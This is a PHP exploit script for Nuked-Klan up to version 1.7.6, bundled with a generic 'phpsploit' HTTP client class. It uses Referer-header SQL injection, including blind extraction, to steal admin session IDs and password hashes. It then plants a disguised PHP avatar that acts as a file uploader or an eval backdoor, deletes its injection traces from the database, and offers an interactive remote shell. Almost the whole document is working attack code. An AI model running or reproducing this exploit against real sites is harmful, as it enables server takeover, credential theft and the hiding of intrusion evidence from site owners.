<?php

/*
 * Name: Nuked-Klan <= 1.7.6 Multiple Vulnerabilities Exploit
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * URL: http://realn.free.fr/releases/46556
 * Date: 04-01-08
 *
 * -> Remote Code Execution
 * -> Remote File Upload
 * -> Admin Hash Extraction
 *
 * Remote Code Exec vulnerability used in
 * this exploit was discovered by DarkFig.
 */

print "\n";
print "  Nuked-Klan <= 1.7.6 Multiple Vulnerabilities Exploit\n";
print "    by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n\n";

if($argc<3)
{
  print " usage: ./nk_exploit.php -url <url> [options]\n\n";
  print " Options: -mode    0 -> Remote Upload (default)\n";
  print "                   1 -> Remote Code Execution\n";
  print "                   2 -> Admin Hash Extraction\n";
  print "          -admin   If you have an admin account.\n";
  print "          -user    If STATS page needs registration,\n";
  print "                   you can set an account.\n";
  print "          -proxy   If you want to use a proxy.\n";
  print "          -prefix  Cookie prefix (default: nuked_).\n";
  print "          -file    If you wanna upload a specific file\n";
  print "                   else it will upload a simple uploader.\n";
  print "\n";
  print " eg: ./nk_exploit.php -url http://localhost/nk/ -admin real:passw0rd\n";
  print " eg: ./nk_exploit.php -url http://localhost/nk/ -file cshell.php -proxy localhost:8118\n\n";
  die();
}
 
$url  = getparam("url",1);
$mode = getparam("mode") ? getparam("mode"): 0;
$adm  = getparam("admin");
$acc  = getparam("user");
$prx  = getparam("proxy");

$prefix = getparam("prefix") ? getparam("prefix") : "nuked_";

$file_upload_code = getparam("file") ? file_get_contents(getparam("file")) : '<?php if(isset($_POST[\'upload\'])) { if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) echo("<center>Error ".$_FILES[\'file\'][\'error\']."</center>");else echo "<center>File uploaded</center>"; } ?><form method="post" enctype="multipart/form-data"><center><input type="file" name="file"><input type="submit" name="upload" value="Upload"></center></form>';;

$date = array(date('Y'),date('m'),date('d'));

$xpl = new phpsploit();
if($prx) $xpl->proxy($prx);

/* Admin account defined */
if($adm)
{
  print "[*] Using admin account $adm\n";
  list($login,$passwd) = explode(":",$adm);
  $xpl->addheader("Referer",$url);
  $c = $xpl->post($url."index.php?file=User&{$prefix}nude=index&op=login","pseudo=$login&pass=$passwd&remember_me=ok");
  if(preg_match("#{$prefix}sess_id=([a-z0-9]+)#i",$c,$sid) && preg_match("#uid=([a-z0-9]+)#i",$c,$uid))
  {
    $admin_sid = $sid[1];
    $admin_uid = $uid[1];
    print "      SID -> $admin_sid\n";
    print "      UID -> $admin_uid\n";
    finalattack($admin_sid,$admin_uid);
  } else exit("[*] Can't log in\n");
}
/* Admin account not defined */
else
{  
  /* User account defined */
  if($acc)
  {
    print "[*] Using user account $acc\n";
    list($login,$passwd) = explode(":",$acc);
    $xpl->addheader("Referer",$url);
    $c = $xpl->post($url."index.php?file=User&nuked_nude=index&op=login","pseudo=$login&pass=$passwd&remember_me=ok");
    if(preg_match("#{$prefix}sess_id=([a-z0-9]+)#i",$c,$sid) && preg_match("#uid=([a-z0-9]+)#i",$c,$uid))
    {
      # User Cookies
      $xpl->addcookie("{$prefix}sess_id",$sid[1]);
      $xpl->addcookie("{$prefix}user_id",$uid[1]);
    } else exit("[*] Can't log in\n");
  }

  $queries   = array();
  $queries[] = array("     SID","SELECT id FROM nuked_sessions WHERE user_id=(SELECT id FROM {$prefix}users WHERE niveau>=9 ORDER BY date LIMIT 0,1) LIMIT 0,1");
  $queries[] = array("     UID","SELECT id FROM nuked_users WHERE niveau>=9 LIMIT 0,1");
  $queries[] = array("   Login","SELECT pseudo FROM nuked_users WHERE niveau>=9 LIMIT 0,1");
  $queries[] = array("Password","SELECT pass FROM nuked_users WHERE niveau>=9 LIMIT 0,1");
  
  $xpl->agent("Mozilla Firefox");
  $xpl->addheader("X-Forwarded-For","127.0.0.1");
  
  $ctmp = $xpl->get($url."index.php?file=Stats&page=visits");
  
  if(preg_match('#<a href="javascript:history.back\(\)"><b>[^<]+</b>#i',$ctmp)) exit("[*] You don't have rights to access Stats page.\n");
  if(preg_match('#<a href="index.php\?file=User&op=login_screen">[^<]+</a> | <a href="index.php\?file=User&op=reg_screen">[^<]+</a>#i',$ctmp)) exit("[*] You must be registered, use -user param.\n");
  $xpl->reset("header");
  $xpl->agent("Mozilla Firefox");
  
  attack1();
  attack2();
}

function getparam($param,$opt='')
{
  global $argv;
  foreach($argv as $value => $key)
  {
    if($key == '-'.$param) return $argv[$value+1];
  }
  if($opt) exit("\n-$param parameter required");
  else return;
}

/* --- Attack #1 ---------------------------------------- */

function attack1()
{
  global $queries,$mode;
  
  print "[*] Attack #1\n";
  
  if($mode != 2)
  {
    print " ".$queries[0][0]." -> ";
    $admin_sid = sql_session_query($queries[0][1],0);
    
    if(!$admin_sid) return false;
    
    if($admin_sid=="")
    {
      print "\r[*] No session found. Crack following MD5 hash and use -admin param.\n";
      for($i=2;$i<4;$i++)
      {
        print " ".$queries[$i][0]." -> ";
        sql_user_query($queries[$i][1]);
      }
      exit();
    }
    else
    {
      print "\n ".$queries[1][0]." -> ";
      $admin_uid = sql_session_query($queries[1][1]);
      finalattack($admin_sid,$admin_uid);
    }
  }
  else
  {
      print "\r[*] Getting admin credentials\n";
      for($i=2;$i<4;$i++)
      {
        print " ".$queries[$i][0]." -> ";
        $z = sql_user_query($queries[$i][1]);
        if(!$z || $z == "") return false;
      }
      exit();
  }
}

function attack1_init()
{
  global $xpl,$url;

  $rnd = rand(100000,999999);
  
  $xpl->reset("header");
  $xpl->agent("Mozilla Firefox");
  $xpl->addheader("X-Forwarded-For","255.255.255.255");
  $xpl->addheader("Referer","http://g00gle.com','1','1','$rnd','1','1') #");
  $xpl->get($url."index.php");
  
  return $rnd;
}

function sql_session_query($query,$z=1)
{
  $result = '';
  $rnd = attack1_init();
  $size = 20;
  for($i=1;$i<=$size;$i++)
  {
    $r = get_ord($query,$i,$rnd);
    if(!$r) break;
    $result .= chr($r);
    print chr($r);
  }
  if($z==1) print "\n";
  return $result;
}

function sql_user_query($query)
{
  $result = '';
  for($i=1;$i<=50;$i++)
  {
    $r = get_ord($query,$i,attack1_init());
    if(!$r) break;
    $result .= chr($r);
    print chr($r);
  }
  print "\n";
  return $result;
}

function get_ord($query,$a,$rnd)
{
  global $xpl,$url;
  
  $xpl->reset("header");
  $xpl->agent("Mozilla Firefox");
  $xpl->addheader("X-Forwarded-For","255.255.255.255");
  $xpl->addheader("Referer","http://g00gle.com','1',CONCAT({$a}000,ORD(MID(($query),$a,1))),'$rnd','1','1') #");
  $content = $xpl->get($url."index.php?file=Stats&page=visits&oyear=$rnd&omonth=1");
  preg_match('#<option[^>]*>'.$a.'000(\d+)</option>[^:]*</select> /#i',$content,$res);

  if(!isset($res[1]) && $a==1)
  {
    print "\r";
    print "[*] Attack failed.\n\n";
    return false;
  }
  if(!isset($res[1])) return "";
  return $res[1];
}

/* --- Attack #2 ---------------------------------------- */

function attack2()
{
  global $queries,$mode,$admin_sid,$admin_uid;
  
  print "[*] Attack #2\n";
  
  if($mode != 2)
  {
    print " ".$queries[0][0]." -> ";
    $admin_sid = blind($queries[0][1],20,48,122);
    
    if($admin_sid=="")
    {
      print "\r[*] No session found. Crack following MD5 hash and use -admin param.\n";
      for($i=2;$i<4;$i++)
      {
        print " ".$queries[$i][0]." -> ";
        blind($queries[$i][1],50,48,122);
        print "\n";
      }
      exit();
    }
    else
    {
      print "\n ".$queries[1][0]." -> ";
      $admin_uid = blind($queries[1][1],20,48,122);
      print "\n";
      finalattack($admin_sid,$admin_uid);
    }
  }
  else
  {
      print "\r[*] Getting admin credentials\n";
      for($i=2;$i<4;$i++)
      {
        print " ".$queries[$i][0]." -> ";
        blind($queries[$i][1],50,48,122);
        print "\n";
      }
      exit();
  }
}

function blind($query,$nbchars,$from,$to)
{
  global $xpl,$url,$date;
  
  $result = "";
  $current_letter  = 1;
  
  /* let's test first if there is a value ... */

  $ip  =  "82.237.".rand(1,10).".".rand(1,250);
  $rnd =  rand(100,1000000);
  $q = preg_replace("#(\w*) FROM #i","COUNT($1) FROM ",$query,1);
  $sql = "http://g00gle$rnd.com' OR ($q)>0 #";
  
  $xpl->reset("header");
  $xpl->agent("Mozilla Firefox");
  $xpl->addheader("X-Forwarded-For",$ip);
  $xpl->addheader("Referer","$sql");
  $c=$xpl->get($url."index.php?file=Stats&nuked_nude=visits&op=view_referer&oyear=$date[0]&omonth=$date[1]&oday=$date[2]");
  if(!preg_match('#g00gle'.$rnd.'[^>]+</a></td>[\r\t\n]*<td[^>]*>[1-9]\d* \(\d+%\)</td>#',$xpl->getcontent(),$matches)) return false;
  
  while($current_letter<=$nbchars)
  {
    $add=$from;
    for($i=intval(($to-$from)/2);$i>1;$i=intval($i/2))
    {
      if(get($query,">",$current_letter,$add+$i)) $add+=$i+1;
    }
    
    for($ord=$add;;$ord++)
    {
      if(get($query,"=",$current_letter,$ord))
      {
        print strtolower(chr($ord));
        $result .= strtolower(chr($ord));
        break;
      }
      elseif($ord==$add+$i+3) return $result;
    }
    
    $current_letter++;
  }
  
  return $result;
}

function get($query,$sign,$d,$f)
{
  global $xpl,$url,$date;
  
  while(true)
  {
    $ip  =  "82.237.".rand(1,10).".".rand(1,250);
    $rnd =  rand(100,1000000);
    $sql = "http://g00gle$rnd.com' OR ORD(MID(($query),$d,1))$sign$f #";
    
    $xpl->reset("header");
    $xpl->agent("Mozilla Firefox");
    $xpl->addheader("X-Forwarded-For",$ip);
    $xpl->addheader("Referer","$sql");
    $c=$xpl->get($url."index.php?file=Stats&nuked_nude=visits&op=view_referer&oyear=$date[0]&omonth=$date[1]&oday=$date[2]");
    if(preg_match('#g00gle'.$rnd.'[^>]+</a></td>[\r\t\n]*<td[^>]*>[1-9]\d* \(\d+%\)</td>#',$xpl->getcontent(),$matches)) return true;
    if(preg_match('#g00gle'.$rnd.'#',$xpl->getcontent())) break;
  }
  
  return false;
}

function finalattack($admin_sid,$admin_uid)
{
  global $url,$xpl,$mode,$prefix,$file_upload_code;
  
  print "\n[*] Admin status confirmed.\n";

  # Admin Cookies
  $xpl->reset("cookie");
  $xpl->addcookie("{$prefix}sess_id",$admin_sid);
  $xpl->addcookie("{$prefix}user_id",$admin_uid);
  $xpl->addcookie("{$prefix}admin_session",$admin_uid);
  
  print "[*] Uploading fake image ... ";

  /* Code in the fake avatar */
  if($mode==0)  /* upload code */
  {
  $c0de =   '<?php'."\n"
      ."error_reporting(0);"
      ."if(isset(\$_SERVER['HTTP_UPLOAD'])) { \$f=fopen('w00t.php','w');fputs(\$f,'".preg_replace("#'#i","\\'",$file_upload_code)."');print 'upfiledone'; }\n"
      .'include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\'; ?>';
  }
  else    /* shell code */
  {
  $c0de =   '<?php'."\n"
      .'error_reporting(0);'
      .'if(isset($_SERVER[HTTP_SHELL]))'
      .'{print 123456789;eval($_SERVER[HTTP_SHELL]);exit(123456789);}'
      .'else {include(\'./Includes/blocks/block_login.php\');$blok[type]=\'login\';} ?>';
  }

  /* This is based on DarkFig's code (http://mgsdl.free.fr/?1:30) */
  /* It was a little changed to permit 2 modes: upload/code exec  */

  $phpc = array(
  frmdt_url   => $url.'?file=User&op=update_pref',
  'fichiernom' => array(frmdt_filename => '1.jpg',
  frmdt_content => $c0de));

  $xpl->addheader('Referer',$url);
  $xpl->formdata($phpc);
  
  $f = fopen("zzz.jpg","w");
  fputs($f,$c0de);
  fclose($f);
  
  $xpl->get($url.'?file=User&op=edit_pref');

  if(!preg_match('#\<input name=\"photo\" value=\"(\S+)\"#',$xpl->getcontent(),$match)) exit("error.\n");
  
  print "done.\n";
  
  print "[*] Processing SQL queries ... ";
  
  $sql   = array();
  $sql[] = "ALTER TABLE nuked_block CHANGE `type` `type` VARCHAR(60) CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL DEFAULT 0;";
  $sql[] = "UPDATE nuked_block SET type=".char('/../../../'.$match[1]."\x00")." WHERE bid=1;";
  $sql[] = "DELETE FROM nuked_stats_visitor WHERE referer LIKE 0x25673030676c6525;"; /* added by real to delete our SQL Injection from SQL DB */
  $sql[] = "DELETE FROM nuked_nbconnecte;";

  for($i=0;$i<count($sql);$i++)
    $xpl->post($url.'?file=Admin&page=mysql&op=upgrade_db','upgrade='.$sql[$i]);
    
  print "done.\n";

  /* Final step: File Upload or Code Execution */
  if($mode==0)  /* Upload */
  {
    $xpl->addheader("Upload","1");
    $c = $xpl->get($url);
    if(preg_match("#upfiledone#i",$c)) print "[*] File uploaded.\n\n";
    else exit("[*] File upload error.\n");
    print "[*] ".$url."w00t.php\n";
  }
  else      /* Shell */
  {
    print "\n\$shell> ";
    while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
    {
      $xpl->reset('header');
      $xpl->addheader('Shell',"system('$cmd');");
      $xpl->get($url);
      $data = explode('123456789',$xpl->getcontent());
      print $data[1]."\n\$shell> ";
    }
  }
  
  /* End of DarkFig based code */
  
  exit();
}

function char($data)
{
       $char='CHAR(';
       for($i=0;$i<strlen($data);$i++)
       {
               $char .= ord($data[$i]);
               if($i != (strlen($data)-1)) $char .= ',';
       }
       return $char.')';
}

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 5 (remove "private", "public" if you have PHP 4)
 * VERSION:        1.2
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */

class phpsploit {

  /**
   * This function is called by the get()/post() functions.
   * You don't have to call it, this is the main function.
   *
   * @return $server_response
   */
  private function sock()
  {
    if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
    else $socket = fsockopen($this->host,$this->port);
    
    if(!$socket) die("Error: The host doesn't exist");
    
    if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
    elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
    else die("Error: Invalid method");
    
    if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
    $this->packet .= "Host: ".$this->host."\r\n";
    
    if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
    if(!empty($this->header)) $this->packet .= $this->header."\r\n";
    if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
    
    $this->packet .= "Connection: Close\r\n";
    if($this->method==="post")
    {
      $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
      $this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
      $this->packet .= $this->data."\r\n";
    }
    elseif($this->method==="formdata")
    {
      $this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n";
      $this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
      $this->packet .= $this->data;
    }
    $this->packet .= "\r\n";
    $this->recv = '';
    
    fputs($socket,$this->packet);
    while(!feof($socket)) $this->recv .= fgets($socket);
    fclose($socket);
    
    if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
    if($this->allowredirection) return $this->allowredirection($this->recv);
    else return $this->recv;
  }
  

  /**
   * This function allows you to add several cookie in the
   * request. Several methods are supported:
   * 
   * $this->addcookie("name","value");
   * or
   * $this->addcookie("name=newvalue");
   * or
   * $this->addcookie("othername=overvalue; xx=zz; y=u");
   * 
   * @param string $cookiename
   * @param string $cookievalue
   * 
   */
  public function addcookie($cookn,$cookv='')
  {
    // $this->addcookie("name","value"); work avec replace
    if(!empty($cookv))
    {
      if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
      if(!empty($this->cookie))
      {
          if(preg_match("/$cookn=/",$this->cookie))
          {
            $this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
          }
          else
          {
            $this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
          }
      }
      else
      {
        $this->cookie = $cookn."=".$cookv.";";
      }
    }
    // $this->addcookie("name=value; othername=othervalue");
    else
    {
         if(!empty($this->cookie))
         {
           $cookn = preg_replace("/(.*);$/","$1",$cookn);
           $cookarr = explode(";",str_replace(" ", "",$cookn));
           for($i=0;$i<count($cookarr);$i++)
           {
             preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
             $cookn = $matches[1];
             $cookv = $matches[2];
             $this->addcookie($cookn,$cookv);
           }
         }
       else
       {
         $cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
         $this->cookie = $cookn;      
       }
    }
  }
  
  
  /**
   * This function allows you to add several headers in the
   * request. Several methods are supported:
   *
   * $this->addheader("headername","headervalue");
   * or
   * $this->addheader("headername: headervalue");
   *
   * @param string $headername
   * @param string $headervalue
   */
  public function addheader($headern,$headervalue='')
  {
    // $this->addheader("name","value");
    if(!empty($headervalue))
    {
      if(!empty($this->header))
      {
        if(preg_match("/$headern:/",$this->header))
        {
          $this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
        }
        else
        {
          $this->header .= "\r\n".$headern.": ".$headervalue;
        }
      }
      else
      {
        $this->header=$headern.": ".$headervalue;
      }
    }
    // $this->addheader("name: value");
    else 
    {
      if(!empty($this->header))
      {
        $headarr = explode(": ",$headern);
        $headern = $headarr[0];
        $headerv = $headarr[1];
        $this->addheader($headern,$headerv);
      }
      else
      {
        $this->header=$headern;
      }
    }
  }
  

  /**
   * This function allows you to use an http proxy server.
   * Several methods are supported:
   * 
   * $this->proxy("proxyip","8118");
   * or
   * $this->proxy("proxyip:8118")
   *
   * @param string $proxyhost
   * @param integer $proxyport
   */
  public function proxy($proxy,$proxyp='')
  {
    // $this->proxy("localhost:8118");
    if(empty($proxyp))
    {
      preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
      $proxh = $proxarr[1];
      $proxp = $proxarr[2];
      $this->proxyhost=$proxh;
      $this->proxyport=$proxp;
    }
    // $this->proxy("localhost",8118);
    else 
    {
      $this->proxyhost=$proxy;
      $this->proxyport=intval($proxyp);
    }
    if($this->proxyport > 65535) die("Error: Invalid port number");
  }
  

  /**
   * This function allows you to use an http proxy server
   * which requires a basic authentification. Several
   * methods are supported:
   * 
   * $this->proxyauth("darkfig","dapasswd");
   * or
   * $this->proxyauth("darkfig:dapasswd");
   *
   * @param string $proxyuser
   * @param string $proxypass
   */
  public function proxyauth($proxyauth,$proxypasse='')
  {
    // $this->proxyauth("darkfig:password");
    if(empty($proxypasse))
    {
      preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
      $proxu = $proxautharr[1];
      $proxp = $proxautharr[2];
      $this->proxyuser=$proxu;
      $this->proxypass=$proxp;
    }
    // $this->proxyauth("darkfig","password");
    else
    {
      $this->proxyuser=$proxyauth;
      $this->proxypass=$proxypasse;
    }
  }

  
  /**
   * This function allows you to set the "User-Agent" header.
   * Several methods are possible to do that:
   * 
   * $this->agent("Mozilla Firefox");
   * or
   * $this->addheader("User-Agent: Mozilla Firefox");
   * or
   * $this->addheader("User-Agent","Mozilla Firefox");
   * 
   * @param string $useragent
   */
  public function agent($useragent)
  {
    $this->agent=$useragent;
  }

  
  /**
   * This function returns the header which will be
   * in the next request.
   * 
   * $this->showheader();
   *
   * @return $header
   */
  public function showheader()
  {
    return $this->header;
  }

  
  /**
   * This function returns the cookie which will be
   * in the next request.
   * 
   * $this->showcookie();
   *
   * @return $storedcookies
   */
  public function showcookie()
  {
    return $this->cookie;
  }

  
  /**
   * This function returns the last formed
   * http request (the http packet).
   * 
   * $this->showlastrequest();
   * 
   * @return $last_http_request
   */
  public function showlastrequest()
  {
    return $this->packet;
  }
  
  
  /**
   * This function sends the formed http packet with the
   * GET method. You can precise the port of the host.
   * 
   * $this->get("http://localhost");
   * $this->get("http://localhost:888/xd/tst.php");
   * 
   * @param string $urlwithpath
   * @return $server_response
   */
  public function get($url)
  {
    $this->target($url);
    $this->method="get";
    return $this->sock();
  }

  
  /**
   * This function sends the formed http packet with the
   * POST method. You can precise the port of the host.
   * 
   * $this->post("http://localhost/index.php","admin=1&user=dark");
   *
   * @param string $urlwithpath
   * @param string $postdata
   * @return $server_response
   */  
  public function post($url,$data)
  {
    $this->target($url);
    $this->method="post";
    $this->data=$data;
    return $this->sock();
  }
  

  /**
   * This function sends the formed http packet with the
   * POST method using the multipart/form-data enctype. 
   * 
   * $array = array(
   *          frmdt_url      => "http://localhost/upload.php",
   *          frmdt_boundary => "123456",                    # Optional
   *                 "email" => "me@u.com",
   *               "varname" => array(
   *                            frmdt_type => "image/gif",   # Optional
   *                       frmdt_transfert => "binary",      # Optional
   *                        frmdt_filename => "hello.php",
   *                         frmdt_content => "<?php echo ':)'; ?>"));
   * $this->formdata($array);
   *
   * @param array $array
   * @return $server_response
   */
  public function formdata($array)
  {
    $this->target($array[frmdt_url]);
    $this->method="formdata";
    $this->data='';
    if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit";
    else $this->boundary=$array[frmdt_boundary];
    foreach($array as $key => $value)
    {
      if(!preg_match("#^frmdt_(boundary|url)#",$key))
      {
        $this->data .= "-----------------------------".$this->boundary."\r\n";
        $this->data .= "Content-Disposition: form-data; name=\"".$key."\";";
        if(!is_array($value))
        {
          $this->data .= "\r\n\r\n".$value."\r\n";
        }
        else
        {
          $this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n";
          if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n";
          if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n";
          $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
        }
      }
    }
    $this->data .= "-----------------------------".$this->boundary."--\r\n";
    return $this->sock();
  }

  
  /**
   * This function returns the content of the server response
   * without the headers.
   * 
   * $this->getcontent($this->get("http://localhost/"));
   * or
   * $this->getcontent();
   *
   * @param string $server_response
   * @return $onlythecontent
   */
  public function getcontent($code='')
  {
    if(empty($code)) $code = $this->recv;
    $content = explode("\n",$code);
    $onlycode = '';
    for($i=1;$i<count($content);$i++)
    {
      if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
      if($ok) $onlycode .= $content[$i]."\n";
    }
    return $onlycode;
  }

  
  /**
   * This function returns the headers of the server response
   * without the content.
   * 
   * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
   * or
   * $this->getheader();
   *
   * @param string $server_response
   * @return $onlytheheaders
   */
  public function getheader($code='')
  {
    if(empty($code)) $code = $this->recv;
    $header = explode("\n",$code);
    $onlyheader = $header[0]."\n";
    for($i=1;$i<count($header);$i++)
    {
      if(!preg_match("/^(\S*):/",$header[$i])) break;
      $onlyheader .= $header[$i]."\n";
    }
    return $onlyheader;
  }

  
  /**
   * This function is called by the cookiejar() function.
   * It adds the value of the "Set-Cookie" header in the "Cookie"
   * header for the next request. You don't have to call it.
   * 
   * @param string $server_response
   */
  private function getcookie($code)
  {
    $carr = explode("\n",str_replace("\r\n","\n",$code));
    for($z=0;$z<count($carr);$z++)
    {
      if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
      {
        $cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
      }
    }

    for($i=0;$i<count($cookie);$i++)
    {
      preg_match("/(\S*)=(\S*)(|;)/",$cookie[$i],$matches);
                $cookn = $matches[1];
                $cookv = $matches[2];
                $this->addcookie($cookn,$cookv);
    }
    }

  
  /**
   * This function is called by the get()/post() functions.
   * You don't have to call it.
   *
   * @param string $urltarg
   */
  private function target($urltarg)
  {
    if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
    $this->url=$urltarg;
    
    $array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
    $this->host=$array[0];

    preg_match("/:(\d+)\//",$urltarg,$matches);
    $this->port=empty($matches[1]) ? 80 : $matches[1];
    
    $temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
    preg_match("/\/(.*)\//",$temp,$matches);
    $this->path=str_replace("//","/","/".$matches[1]."/");
  
    if($this->port > 65535) die("Error: Invalid port number");
  }
  
  
  /**
   * If you call this function, the script will
   * extract all "Set-Cookie" headers values
   * and it will automatically add them into the "Cookie" header
   * for all next requests.
   *
   * $this->cookiejar(1); // enabled
   * $this->cookiejar(0); // disabled
   * 
   */
  public function cookiejar($code)
  {
    if($code===0) $this->cookiejar='';
    if($code===1) $this->cookiejar=1;
    else
    {
      $this->getcookie($code);
    }
  }


  /**
   * If you call this function, the script will
   * follow all redirections sent by the server.
   * 
   * $this->allowredirection(1); // enabled
   * $this->allowredirection(0); // disabled
   * 
   * @return $this->get($locationresponse)
   */
  public function allowredirection($code)
  {
    if($code===0) $this->allowredirection='';
    if($code===1) $this->allowredirection=1;
    else
    {
      if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
      {
        $location = str_replace(chr(13),'',$codearr[2]);
        if(!eregi("://",$location))
        {
          return $this->get("http://".$this->host.$this->path.$location);
        }
        else
        {
          return $this->get($location);
        }
      }
      else
      {
        return $code;
      }
    }
  }
  
  
  /**
   * This function allows you to reset some parameters:
   * 
   * $this->reset(header); // headers cleaned
   * $this->reset(cookie); // cookies cleaned
   * $this->reset();       // clean all parameters
   *
   * @param string $func
   */
  public function reset($func='')
  {
    switch($func)
    {
      case "header":
      $this->header='';
      break;
      
      case "cookie":
      $this->cookie='';
      break;
      
      default:
            $this->cookiejar='';
            $this->header='';
            $this->cookie='';
            $this->allowredirection=''; 
            $this->agent='';
            break;
    }
  }
}
?>